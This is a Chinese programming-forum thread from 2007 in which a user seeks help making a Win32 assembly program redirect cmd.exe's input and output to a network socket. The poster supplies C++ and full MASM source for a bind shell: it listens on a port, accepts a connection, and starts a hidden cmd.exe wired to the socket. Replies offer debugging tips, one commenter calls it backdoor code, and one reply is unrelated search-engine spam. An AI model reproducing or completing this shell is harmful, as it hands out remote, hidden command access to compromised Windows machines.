[讨论]win32汇编如何实现cmd的输出转向

n00000000p 2007-01-06 02:03:03
VC++是这样来着:

ret=bind(listenFD,(sockaddr *)&server,sizeof(server));
ret=listen(listenFD,2);
//如果客户请求830端口,接受连接
int iAddrSize = sizeof(server);
SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize);

STARTUPINFO si;
ZeroMemory(&si,sizeof(si));
si.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.wShowWindow = SW_SHOWNORMAL;

si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;
char cmdLine[] = "cmd.exe";
PROCESS_INFORMATION ProcessInformation;
//建立进程
ret=CreateProcess(NULL,cmdLine,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation);

return 0;
}

这个代码实现了cmd的输出转向,但是用汇编我不知道怎么搞,一般我是用CreateProcess直接执行命令行了.....
.
.
.
.

invoke WSAStartup,0202H,addr @wsaData ;初始化WSAStartup库
invoke RtlZeroMemory,addr @stAddr,sizeof sockaddr_in ;清空内存
mov @stAddr.sin_family,AF_INET ;设置IP格式
invoke htons,TCP_PORT ;设置端口
mov @stAddr.sin_port,ax ;保存
mov @stAddr.sin_addr,INADDR_ANY ;设置IP地址
invoke socket,AF_INET,SOCK_STREAM,0 ;加载套接字
.if eax != INVALID_SOCKET
mov hScoket,eax ;保存句柄
.endif
invoke bind,hScoket,addr @stAddr,sizeof sockaddr_in ;绑定
.if eax != SOCKET_ERROR
invoke listen,hScoket,5 ;开始监听,默认连接5个
.endif
invoke accept,hScoket,NULL,NULL ;如果有客户端连接,马上确定
.
.
invoke recv,hScoket1,addr szBuffer,1024,0 ;开始接收命令
.
.
invoke GetStartupInfo,addr stStartUp
invoke CreateProcess,NULL,addr szBuffer,NULL,NULL,NULL,\ ;是的话就处理
CREATE_NO_WINDOW,NULL,NULL,addr stStartUp,addr stProcInfo

这样挺麻烦的,如果能直接实现cmd输出转向,那就非常的好了
...全文
1057 14 打赏 收藏 转发到动态 举报
写回复
用AI写文章
14 条回复
切换为时间正序
请发表友善的回复…
发表回复
wshcdr 2007-01-09
  • 打赏
  • 举报
回复
MK
Jim_King_2000 2007-01-08
  • 打赏
  • 举报
回复
用pipe就可以了。msdn有完整的源代码。
dcms 2007-01-08
  • 打赏
  • 举报
回复
我的搜索引擎继7月份第二次开放测试后,现在进行第三次开放测试,请大家多批评指正。
无为搜索引擎开始测试了啊
(第三次开放测试啊) 网站运行后的效果请参见:
http://219.233.38.213/Search/WuWei.aspx
代码下载地址 :http://www.ofile.cn/se.rar
前两次用 CGI+html做了一个版本还做了一个 Java版本 (这次比较忙,所以没来的及更新,有需要的跟我说一声啊)
这次用 C# ASP.NET做一个 玩玩
做的不好,请大家做指教啊!
这次还实现了计算器功能啊
可以搜索一下 sin(1+2) 看看
另外 sh=1&sf=1&ua=1&sa=1&st=1&wh=1&ph=1 把这里面的 1改成 0看看 每个部分都是可以控制的:)
至于为什么要把客户端网站部分开源,请参考我第二次开放测试时即兴写的文章 : 最近我研究搜索引擎 七 (长长中国人的志气篇)
http://www.baidu.com/s?wd=%D7%EE%BD%FC%CE%D2%D1%D0%BE%BF%CB%D1%CB%F7%D2%FD%C7%E6%C6%DF&cl=3
承盟广大网友看的起 该文目前已经被全国 2000多网站转载
先说一下技术指标: 本次我收录了全国30多万个一、二级域名, 网页采集用了三周时间,目前已经采集了 12万网站,平均每个网站收录 30篇网页,索引进行了 10天,
目前已经索引了 100多万网页 。 搜索核心部分采用这次采用 C 语言开发。 客户端提供三个版本一个CGI+HTML版本,一个 Java版本,一个 ASP.NET版本。

代码下载地址 :http://www.ofile.cn/se.rar
搜索网站客户端(.NET版本)整体解决方案(源代码)
(第三次开放测试啊) 网站运行后的效果请参见:
http://219.233.38.213/Search/WuWei.aspx
n00000000p 2007-01-08
  • 打赏
  • 举报
回复
"用pipe就可以了。msdn有完整的源代码。"

如果利用管道的话,那么套接字就只能是socket。现在我用了WSASocket,为的是要弄清楚cmd的转向输出...

在调用CreateProcess执行cmd,然后在进程附加信息中把accept()返回的句柄赋给hStdInput,hStdOutput,hStdError。理论上是这样,不过我写代码编译的时候是cmd执行了,但一闪又不见了。用OD看了一下,设置单步步过等也没发现啥错误。我希望能够一起讨论一下,我写的完整代码如下:

.386P
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
include wsock32.inc
include Ws2_32.inc
includelib user32.lib
includelib kernel32.lib
includelib wsock32.lib
includelib Ws2_32.lib
TCP_PORT equ 1024 ;常量定义
.data
szCommand db 'cmd.exe',0
.data?
hScoket SOCKET ?
hScoketOther SOCKET ?
szBuffer db MAX_PATH dup(?)
dwSize DWORD ?
.code
_ProcessMain proc
local @wsaData:WSADATA
local @hScoket:SOCKET
local @stAddr:sockaddr_in
local stStartUp:STARTUPINFO
local stProcInfo:PROCESS_INFORMATION
invoke WSAStartup,0202H,addr @wsaData ;初始化WSAStartup库
mov @stAddr.sin_family,AF_INET ;设置IP格式
invoke htons,TCP_PORT ;设置端口
mov @stAddr.sin_port,ax ;保存
mov @stAddr.sin_addr,INADDR_ANY ;设置IP地址
invoke WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0 ;加载套接字
mov hScoket,eax ;保存句柄
invoke bind,hScoket,addr @stAddr,sizeof sockaddr_in ;绑定
.if eax == SOCKET_ERROR
mov eax,FALSE
ret
.endif
invoke listen,hScoket,5 ;开始监听,默认连接5个
invoke accept,hScoket,NULL,NULL ;如果有客户端连接,马上确定
.if eax != INVALID_SOCKET
mov hScoketOther,eax
.endif
invoke GetStartupInfo,addr stStartUp
mov ebx,hScoketOther
mov stStartUp.hStdInput,ebx ;为STARTUPINFO的结构成员赋值,让cmd转向输出。这个值是accept()返回的句柄
mov stStartUp.hStdOutput,ebx
mov stStartUp.hStdError,ebx
mov stStartUp.dwFlags,STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES
mov stStartUp.wShowWindow,SW_HIDE
invoke CreateProcess,NULL,addr szCommand,NULL,NULL,\
NULL,NORMAL_PRIORITY_CLASS,NULL,NULL,addr stStartUp,addr stProcInfo ;将结果载入并执行cmd
ret
_ProcessMain endp
start:
invoke _ProcessMain
invoke ExitProcess,NULL
end start
sjjf 2007-01-08
  • 打赏
  • 举报
回复
mark
lurenfu 2007-01-08
  • 打赏
  • 举报
回复
很明显,这类代码是用来做后门的

楼主看来是在干坏事
n00000000p 2007-01-07
  • 打赏
  • 举报
回复
szCommand db 'cmd.exe',0
.
.
invoke accept,hScoket,NULL,NULL ;如果有客户端连接,马上确定
.if eax != INVALID_SOCKET
mov hScoketOther,eax
invoke GetStartupInfo,addr stStartUp
mov ebx,hScoketOther
mov stStartUp.hStdInput,ebx
mov stStartUp.hStdOutput,ebx
mov stStartUp.hStdError,ebx
mov stStartUp.dwFlags,STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES
mov stStartUp.wShowWindow,SW_HIDE
mov stStartUp.wShowWindow,SW_SHOWNORMAL
invoke CreateProcess,NULL,addr szCommand,NULL,NULL,\
NULL,NORMAL_PRIORITY_CLASS,NULL,NULL,offset stStartUp,offset stProcInfo
.endif
汗死,一连接,马上就断开了....
n00000000p 2007-01-06
  • 打赏
  • 举报
回复
好象都不需要用到控制台API吧?

输入只是在客户端,如果是telnet登陆的话,已经有了.而服务端是不用到stdout的,最多用个send发送到客户端上

pig4210 2007-01-06
  • 打赏
  • 举报
回复
nod 一楼mydo 你使用了控制台,又没有使用控制台API,照样没有结果啊。
invoke stdout,addr szBuffer
invoke stdin,addr szBuffer
使用标准控制台API输入输出语句
zara 2007-01-06
  • 打赏
  • 举报
回复
楼主没有将创建 cmd.exe 进程时的 StartupInfo 结构中的 hStdInput, hStdOutput 以及 hStdError 等成员指向前面 accept() 函数返回的句柄. 上面的 c 里面是这么做的
n00000000p 2007-01-06
  • 打赏
  • 举报
回复
:(

我加了 貌似不行耶
大熊猫侯佩 2007-01-06
  • 打赏
  • 举报
回复
在 masm32 link时用。
n00000000p 2007-01-06
  • 打赏
  • 举报
回复
是在link VC代码还是asm的时候用/subsystem:console ?
大熊猫侯佩 2007-01-06
  • 打赏
  • 举报
回复
如果vc中可以,win32asm同样可以,使用 /subsystem:console 连接,然后使用
控制台api即可。

21,459

社区成员

发帖
与我相关
我的任务
社区描述
汇编语言(Assembly Language)是任何一种用于电子计算机、微处理器、微控制器或其他可编程器件的低级语言,亦称为符号语言。
社区管理员
  • 汇编语言
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧